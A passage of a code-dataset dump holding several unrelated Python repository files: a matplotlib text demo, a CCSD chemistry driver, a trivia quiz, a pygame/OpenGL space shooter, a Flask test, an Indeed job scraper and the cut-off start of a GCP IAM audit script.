verticalalignment='bottom',\n        transform=ax.transAxes)\n\nax.text(right, top, 'right top',\n        horizontalalignment='right',\n        verticalalignment='top',\n        transform=ax.transAxes)\n\nax.text(right, bottom, 'center top',\n        horizontalalignment='center',\n        verticalalignment='top',\n        transform=ax.transAxes)\n\nax.text(left, 0.5*(bottom+top), 'right center',\n        horizontalalignment='right',\n        verticalalignment='center',\n        rotation='vertical',\n        transform=ax.transAxes)\n\nax.text(left, 0.5*(bottom+top), 'left center',\n        horizontalalignment='left',\n        verticalalignment='center',\n        rotation='vertical',\n        transform=ax.transAxes)\n\nax.text(0.5*(left+right), 0.5*(bottom+top), 'middle',\n        horizontalalignment='center',\n        verticalalignment='center',\n        fontsize=20,\n        transform=ax.transAxes)\n\nax.text(right, 0.5*(bottom+top), 'centered',\n        horizontalalignment='center',\n        verticalalignment='center',\n        rotation='vertical',\n        transform=ax.transAxes)\n\nax.text(left, top, 'rotated\\nwith newlines',\n        horizontalalignment='center',\n        verticalalignment='center',\n        rotation=45,\n        transform=ax.transAxes)\n'''\n\nax.set_axis_off()\nplt.show()","repo_name":"epfl-radio-astro/pypeline","sub_path":"benchmarking/visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":3572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"36"}
{"seq_id":"31556611458","text":"import time\nfrom qode.util import output, indent\n\n# operators, SCF and CCSD modules\nfrom qode                               import fermion_field\nfrom qode.many_body.nested_operator     import operator, space_traits, BakerCampbellHausdorff\nfrom qode.many_body                     import CCSD\n\n# Hamiltonian\nfrom hamiltonian import hamiltonian, inv_fock\n\n\n\ndef main(h_mat, V_mat, F_mat, E_nuclear_repul, occ_orbs, vrt_orbs, textlog, resources):\n\tout = output(log=textlog)\n\n\tout.log(\"Partioning fluctuations (excitations, flat, deexcitations) ...\")\n\tfluctuations = fermion_field.OV_partitioning(occ_orbs,vrt_orbs)\n\n\tout.log(\"Building normal-ordered H ...\")\n\tH = hamiltonian(E_nuclear_repul, h_mat, V_mat, fluctuations)\n\n\tout.log(\"Getting orbital energy preconditioner ...\")\n\tinvF = inv_fock(F_mat, fluctuations)\n\n\tout.log(\"Initializing T ...\")\n\tT = operator(fluctuations)\t\t# Initialized to zero\n\n\tBCH = BakerCampbellHausdorff(fluctuations, resources)\n\tout.log(\"Baker-Campbell-Hausdorff module initialized.\")\n\n\tout.log(\"Perform coupled-cluster iterations.\")\n\tt_ccsd_start = time.time()\n\tE = CCSD(H, T, invF, BCH, space_traits, out.log.sublog())\n\tt_ccsd_end = time.time()\n\n\tout.log(\"CCSD Energy =\", E, 'Hartree')\n\tout.log(\"CCSD TIME {}\".format(t_ccsd_end - t_ccsd_start))\n\n\treturn out(energy=E)\n","repo_name":"sskhan67/GPGPU-Programming-","sub_path":"QODE/Applications/component_tests/ccsd/nested/ccsd.py","file_name":"ccsd.py","file_ext":"py","file_size_in_byte":1290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"15723795941","text":"import requests\nimport csv\n\ndef startGame():\n    # Loop through 3 questions, get answer, compare answer with question and keep score\n    print(\"Let's start {} \".format(username))\n    score = 0\n    for eachResult in getResults:\n        oneStatement = eachResult[\"question\"]\n        correctAnswer = eachResult[\"correct_answer\"].lower()\n        oneStatement = oneStatement.replace('&quot;', '\"')\n        print(oneStatement)\n        answer = input(\"Is this statement true or false?\").lower()\n\n        while answer != \"true\" and answer != \"false\" and answer != \"t\" and answer != \"f\":\n            print(\"That is not an acceptable answer, please try again\")\n            answer = input(\"Is this statement true or false?\").lower()\n\n        if correctAnswer == answer or correctAnswer[0] == answer[0]:\n            print(\"You scored one point\")\n            score += 1\n\n        else:\n            print(\"Sorry your answer is incorrect, now you know for next time\")\n\n    print(\"Your score this time is {} and your score has been added to the scoreboard\".format(score))\n\n\n    # Save player and score to CSV\n    results = [{\"player\": username, \"score\": score}]\n\n    with open('scoreboard.csv', 'a') as scoreboard:\n        spreadsheet = csv.DictWriter(scoreboard, fieldnames=[\"player\", \"score\"])\n        spreadsheet.writerows(results)\n\n# Get data from API\ngetData = requests.get(\"https://opentdb.com/api.php?amount=3&category=18&difficulty=easy&type=boolean\")\nconvertData = getData.json()\ngetResults = convertData[\"results\"]\n\n# Display welcome message\nprint(\"Welcome to Trivia\")\n\n# Ask for name, display welcome message, then slice the name for the scoreboard\nname = input(\"What is your first name?\")\nusername = name[0:3].lower()\nstartGame()\n\n#Gives the option to play again\nplayAgain = input(\"Do you want to play again?\").lower()\nwhile playAgain == \"yes\" or playAgain == \"y\":\n    startGame()\n    playAgain = input(\"Do you want to play again?\")\n\nprint(\"Thanks for playing\")","repo_name":"shirosatku/Quiz","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1956,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"24140542317","text":"import pygame\nfrom pygame.locals import *\nfrom OpenGL.GL import *\nfrom OpenGL.GLU import*\nimport random\nfrom pygame import mixer\n\n\n\npygame.init()\ntextfont = pygame.font.SysFont(\"monospace\",50)\nclass display:\n\n    def __init__(self, width, height, window):\n        self.width = width\n        self.height = height\n        self.window = window\n        \n\n    \n    def update(self):\n        pygame.display.flip()\n        pygame.time.wait(10)\n\n    def clear(self):\n        glClearColor(0,0,0.1,1)\n        glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n\nscreen = display(800, 400, pygame.display.set_mode((800, 400), DOUBLEBUF|OPENGL))\npygame.display.set_caption('Space Shooter 1v1')\n\n#BGMUSIC########\n\n\nindex = 0\nrages = True\nbgmusiclist = ['bgmusic.mp3','low.mp3']\npygame.mixer.music.load(bgmusiclist[index])\nmixer.music.play(-100)\n\n\nbullet2_sound = mixer.Sound('blaster2.mp3')###\ncollide_sound = mixer.Sound('coolide.mp3')###\nplayer_hitsound = mixer.Sound('playerhit.mp3')####\nplayer_hitsound.set_volume(0.5)\nbullet1_sound = mixer.Sound('blaster1.mp3')###\nalarm = mixer.Sound('alarm.mp3')#####\nend = mixer.Sound('end.mp3')#####\n\n\n#BGMUSIC########\n\ndef rage_true():\n        global index\n        index = 1\n        pygame.mixer.music.load(bgmusiclist[index])\n        pygame.mixer.music.play(-100)\ndef rage_false():\n        global index\n        index = 0\n        pygame.mixer.music.load(bgmusiclist[index])\n        pygame.mixer.music.play(-100) \n\n\n\nclass player_one:\n    def __init__(self, vertices, edges):\n        self.vertices = vertices\n        self.edges = edges\n        self.pos = [-13,0,0]\n        self.int = 0.02\n        \n        \n    def move(self):\n        self.k_press = pygame.key.get_pressed()\n        if self.k_press[pygame.K_w]:\n            if self.pos[1] < 6:\n                self.pos[1] += self.int\n            \n            \n        if self.k_press[pygame.K_s]:\n            if self.pos[1] > -6:\n                self.pos[1] -= self.int\n\n        #if self.k_press[pygame.K_d]:\n            #if self.pos[0] < -1.2:\n          #      self.pos[0] += self.int \n                \n     #   if self.k_press[pygame.K_a]:\n      #      if self.pos[0] > -13.8:\n         #       self.pos[0] -= self.int\n     \n    def draw(self):\n        glPushMatrix()\n        glTranslatef(*self.pos)\n        r = random.uniform(0,1)\n        g = random.uniform(0,1)\n        b = random.uniform(0,1)\n        if one_health.int <= 5:\n                glColor3f(r,g,b)\n        #RAGEEEEEEE\n        if one_health.int <= 5:\n                if finish == False:\n                        glColor3f(r,g,b)\n                        self.int = 0.3\n                        bullet_one.int = 0.8\n                        rage = True\n                        \n                     \n                        \n                        \n        else:\n                glColor3f(1,1,1)\n                \n        glBegin(GL_LINES)\n        glVertex2f(0,0)\n        glVertex2f(0,1)\n\n        glVertex2f(0,1)\n        glVertex2f(1,0.0)\n\n        glVertex2f(1,0)\n        glVertex2f(0,-1.0)\n\n        glVertex2f(0,-1.0)\n        glVertex2f(0,0.0)\n        glEnd()\n        glPopMatrix()\n\n\n    def draw_line(self):\n        if finish == True:\n                glColor3f(0,0,0)\n        elif title == True:\n                glColor3f(0,0,0)\n        else:\n                glColor3f(1,1,1)\n        glPushMatrix()\n        \n        glBegin(GL_LINES)\n        glVertex2f(0,8)\n        glVertex2f(0,-8)            \n        glEnd()\n\n        #player 1 bar\n        glBegin(GL_LINES)\n        glColor3f(1,1,1)\n        glVertex2f(-13.62,5.3)\n        glVertex2f(-3.05,5.3)\n\n        glVertex2f(-3.05,5.3)\n        glVertex2f(-3.05,6.67)\n\n        glVertex2f(-3.05,6.67)\n        glVertex2f(-13.62,6.67)\n\n        glVertex2f(-13.62,6.67)\n        glVertex2f(-13.62,5.3)\n        glEnd()\n        #player 2 bar\n        glBegin(GL_LINES)\n        glColor3f(1,1,1)\n        glVertex2f(13.62,5.3)\n        glVertex2f(3.05,5.3)\n\n        glVertex2f(3.05,5.3)\n        glVertex2f(3.05,6.67)\n\n        glVertex2f(3.05,6.67)\n        glVertex2f(13.62,6.67)\n\n        glVertex2f(13.62,6.67)\n        glVertex2f(13.62,5.3)\n        glEnd()\n        glPopMatrix()\n        \n                \n\n    def random_stars(self):  \n        for i in range(10):\n                glEnable(GL_POINT_SMOOTH)\n                sizerandom = random.uniform(0.5,2.5)\n                glPointSize(sizerandom)\n                clockobject = pygame.time.Clock()\n                starsX = random.uniform(-15.6,15.2)\n                starsY = random.uniform(-15.2,12.4)\n                rr = random.randint(0,1)\n                gg = random.randint(0,1)\n                bb = random.randint(0,1)\n                glBegin(GL_POINTS)\n                glColor3f(rr,gg,bb)\n                glVertex3d(starsX,starsY,0)\n                glEnd()\n    \nclass one_health:\n    def __init__(selfh, vertices, edges):\n        selfh.vertices = vertices\n        selfh.edges = edges\n        selfh.pos = [-13,6.5,0]\n        selfh.int = 15\n       \n            \n\n    def draw(selfh,size,health_num):\n        \n            glPushMatrix()\n            glTranslatef(*selfh.pos)\n            rg = random.uniform(0.5,1)\n            rb = random.uniform(0.5,0.5)\n            rr = random.uniform(0.5,1)\n        \n            if selfh.int >= 10:\n                glColor3f(0,rg,rb)\n            if selfh.int <= 9:\n                glColor3f(rr,rg,0)\n            if selfh.int <= 5:\n                glColor3f(rr,0,rb)\n                \n            glBegin(GL_QUADS)\n            for i in range(selfh.int):\n        \n                \n                glVertex2f(0+size,0)\n                glVertex2f(-0.5+size,0)\n\n                glVertex2f(-0.5+size,0)\n                glVertex2f(-0.5+size,-1)\n\n                glVertex2f(-0.5+size,-1)\n                glVertex2f(0+size,-1.0)\n    \n                glVertex2f(0+size,-1)\n                glVertex2f(0+size,0)\n                \n                size += 0.7\n                \n                \n                     \n            glEnd()\n            glPopMatrix()\n\nclass two_health:\n    def __init__(selfh, vertices, edges):\n        selfh.vertices = vertices\n        selfh.edges = edges\n        selfh.pos = [13,5.5,0]\n        selfh.int = 15\n       \n            \n\n    def draw(selfh,size,health_num):\n        \n            glPushMatrix()\n            glTranslatef(*selfh.pos)\n            glRotatef(180,0,0,0)\n            rg = random.uniform(0.5,1)\n            rb = random.uniform(0.5,0.5)\n            rr = random.uniform(0.5,1)\n\n            if selfh.int >= 10:\n                glColor3f(0,rg,rb)\n            if selfh.int <= 9:\n                glColor3f(rr,rg,0)\n            if selfh.int <= 5:\n                glColor3f(rr,0,rb)\n            \n            glBegin(GL_QUADS)\n            for i in range(selfh.int):\n        \n                \n                glVertex2f(0+size,0)\n                glVertex2f(-0.5+size,0)\n\n                glVertex2f(-0.5+size,0)\n                glVertex2f(-0.5+size,-1)\n\n                glVertex2f(-0.5+size,-1)\n                glVertex2f(0+size,-1.0)\n    \n                glVertex2f(0+size,-1)\n                glVertex2f(0+size,0)\n                \n                size += 0.7\n                \n                \n                     \n            glEnd()\n            glPopMatrix()\n\n\nclass player_two:\n    def __init__(selfs, vertices, edges):\n        selfs.vertices = vertices\n        selfs.edges = edges\n        selfs.pos = [13,0,0]\n        selfs.int = 0.02\n\n\n    def move(selfs):\n        selfs.k_press = pygame.key.get_pressed()\n        if selfs.k_press[pygame.K_UP]:\n            if selfs.pos[1] < 6:\n                selfs.pos[1] += selfs.int\n           \n        if selfs.k_press[pygame.K_DOWN]:\n            if selfs.pos[1] > -6:\n                selfs.pos[1] -= selfs.int\n        #if selfs.k_press[pygame.K_RIGHT]:\n        #    if selfs.pos[0] < 13.8:\n         #       selfs.pos[0] += selfs.int\n               \n        #if selfs.k_press[pygame.K_LEFT]:\n          #  if selfs.pos[0] > 1.2:\n             #   selfs.pos[0] -= selfs.int\n        \n                \n\n    def draw(selfs):\n        glPushMatrix()\n        glTranslatef(*selfs.pos)\n        r = random.uniform(0,1)\n        g = random.uniform(0,1)\n        b = random.uniform(0,1)\n        #RAGEEEEEEE\n        if two_health.int <= 5:\n                if finish == False:\n                        glColor3f(r,g,b)\n                        selfs.int = 0.3\n                        bullet_two.int = 0.8\n                        \n                        \n        else:\n                glColor3f(1,1,1)\n                \n        glBegin(GL_LINES)\n        glVertex2f(0,0)\n        glVertex2f(0,-1)\n\n        glVertex2f(0,-1)\n        glVertex2f(-1,0.0)\n\n        glVertex2f(-1,0)\n        glVertex2f(0,1.0)\n\n        glVertex2f(0,1.0)\n        glVertex2f(0,0.0)\n        glEnd()\n        glPopMatrix()\n\nclass bullet_one:\n    def __init__(selfr, vertices, edges):\n        selfr.vertices = vertices\n        selfr.edges = edges\n        selfr.pos = [-12,0,0]\n        selfr.int = 0.009\n        \n    def draw(selfr):\n        glPushMatrix()\n        glTranslatef(*selfr.pos)\n        glPointSize(20)\n        rg = random.uniform(0.5,1)\n        rb = random.uniform(1,0.5)\n        rr = random.uniform(0.5,0.5)\n        glColor3f(0,rg,rb)\n        glBegin(GL_POINTS)\n        glVertex2d(0,0)\n        glEnd()\n        glPopMatrix()\n\n    \n\n    def shoot(selfr):\n        global rages\n        selfr.pos[0] += selfr.int\n        \n        #bulletsound condition\n        if selfr.pos[0] <= player_one.pos[0] + 0.8:\n            if finish == False:\n                bullet1_sound.set_volume(0.3)\n                bullet1_sound.play()####\n                \n\n        \n        if selfr.pos[0] > 16:\n            selfr.pos[0] = player_one.pos[0]\n            selfr.pos[1] = player_one.pos[1]\n            \n\n        if selfr.pos[0] >= (player_two.pos[0] -0.5):\n            if selfr.pos[0] <= (player_two.pos[0] + 0.5):\n                if selfr.pos[1] < (player_two.pos[1]+1):\n                    if selfr.pos[1] > (player_two.pos[1]-1):\n                        if finish == False:\n                            selfr.pos[0] = player_one.pos[0]\n                            selfr.pos[1] = player_one.pos[1]\n                            player_hitsound.play()\n                            two_health.int -= 1\n                            print(\"player 1 hit\")\n                            if two_health.int == 5:\n                                alarm.play()#####\n                                rages = True\n                                \n                                if rages == True:\n                                    rage_true()\n                                    rages = False\n                                \n                                \n                                \n                                \n                            if two_health.int == 0:\n                                rage_false()\n                                end.play()#####\n                            \n                \n        if selfr.pos[0] >= bullet_two.pos[0]:\n            if selfr.pos[1] < (bullet_two.pos[1]+ 0.5):\n                if selfr.pos[1] > (bullet_two.pos[1]- 0.5):\n                    if finish == False:\n                        selfr.pos[0] = player_one.pos[0]\n                        selfr.pos[1] = player_one.pos[1]\n                        bullet_two.pos[0] = player_two.pos[0]\n                        bullet_two.pos[1] = player_two.pos[1]\n                        collide_sound.set_volume(0.5)\n                        collide_sound.play()\n                    \n                    \n            \n        \n           \n\nclass bullet_two:\n    def __init__(selft, vertices, edges):\n        selft.vertices = vertices\n        selft.edges = edges\n        selft.pos = [12,0,0]\n        selft.int = 0.009\n        \n    def draw(selft):\n        glPushMatrix()\n        glTranslatef(*selft.pos)\n        glPointSize(20)\n        rg = random.uniform(0.5,1)\n        rb = random.uniform(0,1)\n        rr = random.uniform(0.5,1)\n        glColor3f(rr,0,rb)\n        glBegin(GL_POINTS)\n        glVertex2d(0,0)\n        glEnd()\n        glPopMatrix()\n\n    def shoot(selft):\n        global rages\n        selft.pos[0] -= selft.int\n\n        \n\n        #bulletsound condition\n        if selft.pos[0] >= player_two.pos[0] - 0.8:\n            if finish == False:\n               \n                bullet2_sound.set_volume(0.2)###\n                bullet2_sound.play()####\n            \n                \n        \n        if selft.pos[0] < -16:\n            selft.pos[0] = player_two.pos[0]\n            selft.pos[1] = player_two.pos[1]\n            \n        if selft.pos[0] <= (player_one.pos[0]+0.5):\n            if selft.pos[0] >= (player_one.pos[0] - 0.5):\n                if selft.pos[1] < (player_one.pos[1] + 1):\n                    if selft.pos[1] > (player_one.pos[1] - 1):\n                        if finish == False:\n                            selft.pos[0] = player_two.pos[0]\n                            selft.pos[1] = player_two.pos[1]\n                            print(\"player 2 hit\")\n                            player_hitsound.play()\n                            one_health.int -= 1\n                            if one_health.int == 5:\n                                alarm.play()#####\n                                rages = True\n                                if rages == True:\n                                    rage_true()\n                                    rages = False\n                            \n                            if one_health.int == 0:\n                                rage_false()\n\n                                end.play()#####\n                            \n                    \n                    \n        if one_health.int <= 0:\n            selft.int = 0.01\n            bullet_one.int = 0.01\n            player_one.int = 0.01\n            player_two.int = 0.01\n\n        if two_health.int <= 0:\n            selft.int = 0.01\n            bullet_one.int = 0.01\n            player_one.int = 0.01\n            player_two.int = 0.01\n                         \n        \nclass GameOver:\n        def __init__(selfg, vertices, edges):\n                selft.vertices = vertices\n                selft.edges = edges\n                selft.pos = [0,0,0]\n\n        def drawText(x, y, text):\n                r = random.uniform(150,255)\n                g = random.uniform(150,255)\n                b = random.uniform(150,255)\n                textSurface = font.render(text, True, (255, r, g, 255)).convert_alpha()\n                textData = pygame.image.tostring(textSurface, \"RGBA\", True)\n                glWindowPos2d(x, y)\n                glDrawPixels(textSurface.get_width(), textSurface.get_height(), GL_RGBA, GL_UNSIGNED_BYTE, textData)\n\n\n        \n        \n\nplayer_one = player_one(((1, -1)),((0, 0)))\nplayer_two = player_two(((1, -1)),((0, 0)))\nbullet_one = bullet_one(((1, -1)),((0, 0)))\nbullet_two = bullet_two(((1, -1)),((0, 0)))\none_health = one_health(((1, -1)),((0, 0)))\ntwo_health = two_health(((1, -1)),((0, 0)))\n\n\n\n\nclass main:\n    \n        \n        \n    def display_all():\n        player_one.move()\n        player_one.draw()\n        one_health.draw(0,0)\n    \n        player_one.draw_line()\n        player_one.random_stars()\n    \n        player_two.move()\n        player_two.draw()\n        two_health.draw(0,0)\n    \n        bullet_one.shoot()\n        bullet_one.draw()\n    \n    \n        bullet_two.shoot()\n        bullet_two.draw()\n\n\nglMatrixMode(GL_PROJECTION)\nglEnable(GL_BLEND)\nglBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA)\ngluPerspective(45, (screen.width/screen.height), 0.1, 50.0)\nglMatrixMode(GL_MODELVIEW)\nglTranslatef(0,0,-17)\n\ngame_over = False\nfinish = False\nhideone = 1000\nhidetwo = 1000\nspacetext = 1000\nhidetitle = 180\nhidetitle2 = 120\ntitle = True\ncoder = 0\nhide1v1 = 260\nrage = False \n\n\nwhile not game_over:\n   \n    for event in pygame.event.get():\n        \n        if event.type == pygame.QUIT:\n            print('gameover')\n            pygame.quit()\n\n        if bullet_two.pos[0] <= bullet_one.pos[0]:\n            if bullet_two.pos[1] < (bullet_one.pos[1] + 0.5):\n                if bullet_two.pos[1] > (bullet_one.pos[1] - 0.5):\n                   if finish == False:\n                        bullet_two.pos[0] = player_two.pos[0]\n                        bullet_two.pos[1] = player_two.pos[1]\n                        bullet_one.pos[0] = player_one.pos[0]\n                        bullet_one.pos[1] = player_one.pos[1]\n                        collide_sound.play()\n                        print('bullet collide')\n                        \n\n\n        \n        \n        \n        if one_health.int <=0:\n            if two_health.int > one_health.int:\n                print('PLAYER TWO WINS')\n                hidetwo = 220\n                spacetext = 150\n                coder =0\n                finish = True\n            \n        if two_health.int <=0:\n            if one_health.int > two_health.int:\n                print('PLAYER ONE WINS')\n                hideone = 220\n                spacetext = 150\n                coder = 0\n                finish = True\n\n        if event.type == pygame.KEYDOWN:\n                if event.key == pygame.K_SPACE:\n                        if finish == True:\n                                print(index)\n                                if title == False:\n                                    if index == 0:\n                                        rage_false()\n                                        print('restart')\n                                        #player health\n                                        one_health.int =15\n                                        two_health.int = 15\n                                        #reset movement speed and position p1\n                                        player_one.int = 0.2\n                                        player_one.pos[1] = 0\n                                        player_one.pos[0] = -13\n                                         #reset movement speed and position p2\n                                        player_two.int = 0.2\n                                        player_two.pos[1] = 0\n                                        player_two.pos[0] = 13\n                                        #bullet speed\n                                        bullet_one.int = 0.5\n                                        bullet_two.int = 0.5\n                                        #bullet position reset Y\n                                        bullet_one.pos[1] = 0\n                                        bullet_two.pos[1] = 0\n                                        #bullet position reset X\n                                        bullet_one.pos[0] = -13\n                                        bullet_two.pos[0] = 13\n                                        \n                                        hideone = 1000\n                                        hidetwo = 1000\n                                        spacetext = 1000\n                                        coder =1000\n                                        finish = False\n                                \n                        if title == True:\n                                print('Startgame')\n                                #player health\n                                one_health.int =15\n                                two_health.int = 15\n                                #reset movement speed and position p1\n                                player_one.int = 0.2\n                                player_one.pos[1] = 0\n                                player_one.pos[0] = -13\n                                #reset movement speed and position p2\n                                player_two.int = 0.2\n                                player_two.pos[1] = 0\n                                player_two.pos[0] = 13\n                                #bullet speed\n                                bullet_one.int = 0.5\n                                bullet_two.int = 0.5\n                                #bullet position reset Y\n                                bullet_one.pos[1] = 0\n                                bullet_two.pos[1] = 0\n                                #bullet position reset X\n                                bullet_one.pos[0] = -13\n                                bullet_two.pos[0] = 13\n                                \n                                hideone = 1000\n                                hidetwo = 1000\n                                spacetext = 1000\n                                hidetitle = 1000\n                                hidetitle2 = 1000\n                                hide1v1 = 1000\n                                coder =1000\n\n                                title = False\n                                \n                   \n    \n    screen.clear()\n    main.display_all()\n    font = pygame.font.SysFont('impact', 80)\n    \n    GameOver.drawText(120, hideone, \"Player One Wins\")\n    GameOver.drawText(120, hidetwo, \"Player Two Wins\")\n    font = pygame.font.SysFont('impact', 80)\n    GameOver.drawText(351, hide1v1, \"1v1\")\n    GameOver.drawText(140, hidetitle, \"SPACE SHOOTER\")\n    font = pygame.font.SysFont('impact', 60)\n    \n    GameOver.drawText(225, hidetitle2, \"SPACE to Start\")\n    GameOver.drawText(190, spacetext, \"SPACE to Restart\")\n    font = pygame.font.SysFont('impact', 20)\n    GameOver.drawText(0, coder, \"Code by John Patrick Quintos - BT701\")\n    \n    screen.update()\n","repo_name":"patqnts/Space-Shooter-PyOpenGL","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":21330,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"}
{"seq_id":"41770482209","text":"\nfrom flask import url_for\nfrom flask_testing import TestCase\nfrom requests_mock import mock\nfrom app import app, db\nfrom application.models import history\n\nclass TestBase(TestCase):\n    def create_app(self):\n        app.config.update(\n            SQLALCHEMY_DATABASE_URI=\"sqlite:///test.db\",\n            SECRET_KEY = \"dfs\",\n            WTF_CSRF_ENABLED = False\n        )\n        return app\n\n    def setUp(self):\n        db.create_all()\n        test = history(rarity='Pink', gun = 'AWP', price = 9)\n        db.session.add(test)\n        db.session.commit()\n\n\n    def tearDown(self):\n        db.drop_all()\n\nclass TestResponse(TestBase):\n    def test_index(self):\n        with mock() as m:\n            m.get('http://service_2:5002/get/rarity', json='Blue')\n            m.get('http://service_3:5003/get/gun', json='Glock-18')\n            m.post('http://service_4:5004/post/winnings', json=2)\n\n            response = self.client.get(url_for('index'))\n\n        self.assert200(response)\n        self.assertIn('You rolled a Blue Glock-18 worth £2', response.data.decode())\n        ","repo_name":"PranayWara/Practical-Project","sub_path":"service_1/testing/test_unit_1.py","file_name":"test_unit_1.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"35496095028","text":"import requests\nfrom bs4 import BeautifulSoup\nimport re\nimport datetime as dt\n\n\nclass Scraper:\n\n    def __init__(self, endpoint: str, name: str, location: str, distance: str, j_type: str):\n        self.today = dt.datetime.today()\n        # self.endpoint = \"https://fr.indeed.com/jobs\"  # Partie à inclure dans l'UI pour choix du pays\n        self.endpoint = endpoint\n        self.name = name\n        self.location = location\n        self.distance = distance\n        self.j_type = j_type\n        self.parameters = {\n                \"q\": self.name,\n                \"l\": self.location,\n                \"radius\": self.distance,\n                \"jt\": self.j_type,\n        }\n        self.response = requests.get(self.endpoint, self.parameters)\n        self.response.raise_for_status()\n        self.final_url = self.response.url\n        self.soup = self.scrape_html(self.response.text)[0]\n        self.global_content = self.scrape_html(self.response.text)[1]\n        self.page_number = 1\n\n    def get_record(self, content: BeautifulSoup, final_url: str):\n        \"\"\"\"Permet d'obtenir les enregistrements au format texte pour les éléments suivants :\n         Titre / Nom de l'entreprise / Lieu / Salaire / Lien de l'annonce / Résumé de l'annonce.\n         Cette fonction doit être intégrée dans une boucle (for loop) pour pouvoir récupérer les\n         éléments de toutes les balises <a> !\"\"\"\n        job_title = content.h2.getText()\n        if job_title.startswith(\"nouveau\"):  # Indeed France\n            job_title = job_title.replace(\"nouveau\", \"\", 1)\n        if job_title.startswith(\"neu\"):  # Indeed Suisse\n            job_title = job_title.replace(\"neu\", \"\", 1)\n        job_company = content.find(\"span\", \"companyName\").getText()\n        job_location = content.find(\"div\", \"companyLocation\").getText()\n        job_summary = content.find(\"div\", \"job-snippet\").getText().strip().replace(\"\\n\", \" \")\n\n        try:\n            job_salary = content.find(\"span\", \"salary-snippet\").getText().replace(\"\\xa0\", \"\")\n        except AttributeError:\n            job_salary = \"Absence de données\"\n\n        try:\n            post_date = int(re.findall(\"\\\\d+\", content.find(\"span\", \"date\").getText())[0])\n            if post_date < 30:\n                post_date = (self.today - dt.timedelta(days=post_date)).strftime(\"%Y-%m-%d\")\n            else:\n                post_date = \"Posté il y a plus de 30 jours\"\n        except IndexError:\n            post_date = self.today.strftime(\"%Y-%m-%d\")\n\n        try:\n            job_url = final_url + \"&advn=\" + content.get(\"data-empn\") + \"&vjk=\" + content.get(\"data-jk\")\n        except TypeError:\n            job_url = final_url + \"&vjk=\" + content.get(\"data-jk\")\n        record = (job_title, job_company, job_location, job_salary, post_date, job_summary, job_url)\n        return record\n\n    @staticmethod\n    def scrape_html(html_text: str):\n        \"\"\"\"Permet de créer la soupe et de sélectionner les tags dans lesquels les données\n        sont contenues. Cette fonction doit être rappelée pour chaque nouvelle page à scraper.\n        Attention : Dans le cas d'une nouvelle page à scraper, il faut impérativement passer\n        l'argument html_text avec les données de la nouvelle page. Il faut donc modifier les\n        valeurs self : exemple :\n        scraper = Scraper(job_name, job_location, job_distance, job_type)\n        scraper.response = requests.get(next_page)\n        scraper.response.raise_for_status()\n        scraper.final_url = scraper.response.url\n        scraper.soup = scraper.scrape_html(scraper.response.text)[0]\n        global_content = scraper.scrape_html(scraper.response.text)[1]\n\n        Cette fonction retourne un tuple avec en 0 la soupe et en 1 les éléments sélectionnés.\"\"\"\n        soup = BeautifulSoup(html_text, \"html.parser\")\n        global_content = soup.select(\"a[data-jk]\")\n        return soup, global_content\n\n    def get_next_page(self, soup: BeautifulSoup):\n        \"\"\"Fonction permettant d'obtenir la page suivante sur le site Indeed.\n        Elle prend pour argument la soupe de la page en cours. Cette dernière\n        est accessible de la façon suivante :\n        scraper = Scraper(job_name, job_location, job_distance, job_type)\n        next_page = scraper.get_next_page(scraper.soup)\"\"\"\n        url_tag = soup.select(f'a[aria-label=\"{self.page_number}\"]')\n        tmp = self.final_url\n        for tag in url_tag:\n            self.final_url = (self.endpoint.replace(\"/jobs\", \"\") + tag.get(\"href\"))  # https://ch.indeed.com\n        if self.final_url == tmp:\n            print(f\"Fin du scrapping. Nombre de pages scrapées : {self.page_number - 1}\")\n            return \"Fin du scrapping\"\n        return self.final_url\n","repo_name":"ValHrt/Indeed_Scraper","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":4707,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"31635380129","text":"from datetime import tzinfo, timedelta, datetime\nimport json\nfrom io import StringIO\nimport re\nimport sys\nimport os\nimport jmespath\n\nfrom optparse import OptionParser\nparser = OptionParser()\n\n# take input report: path, project: which project; summary: whether it's summary\nparser.add_option(\"-r\", \"--report\", action=\"store\", type=\"string\", dest=\"report\")\nparser.add_option(\"-p\", \"--project\", action=\"store\", type=\"string\", dest=\"project\")\nparser.add_option(\"-s\", \"--summary\", action=\"store_true\", dest=\"summary\", default=False)\n\n(options, args) = parser.parse_args(sys.argv)\n\n# project is a subdir under the report dir\nreport_path=os.path.join(options.report, options.project)\n\n# check everything is there\nif not os.path.exists(report_path):\n   print (\"\\nReport path for project {} does not exist. Please check the inputs.\\n\".format(options.project))\n   quit()\n\n# init project summary\nproject={}\nproject[\"name\"]=options.project\nproject[\"iam\"]=0\nproject[\"sas\"]=0\nproject[\"violations\"]=0\nproject[\"warnings\"]=0\nproject[\"kms\"]=0\nproject[\"vpcs\"]=0\nproject[\"subnets\"]=0\nproject[\"fwr\"]=0\nproject[\"roles\"]=0\nproject[\"peers\"]=0\n\n# init violation summaries for item\nc2d1={}\nc2d1[\"violation\"]=False\nc1d12={}\nc1d12[\"violation\"]=False\nc2d8={}\nc2d8[\"violation\"]=False\nc2d8[\"offendings\"]=[]\nc4d3={}\nc4d3[\"violation\"]=False\nc4d3[\"offendings\"]=[]\nc4d1={}\nc4d2={}\nc4d1[\"violation\"]=False\nc4d1[\"offendings\"]=[]\nc4d2[\"violation\"]=False\nc4d2[\"offendings\"]=[]\n\n# read in iam\nf = open(os.path.join(report_path, 'project-iam'))\niam = json.loads(f.read())\nf.close()\n\n# check iam policies\niam[\"totalAuditConfig\"]=0\niam[\"hasAllServices\"]=False\nif \"auditConfigs\" in iam:\n    iam[\"totalAuditConfig\"]=len(iam[\"auditConfigs\"])\n    allservice = 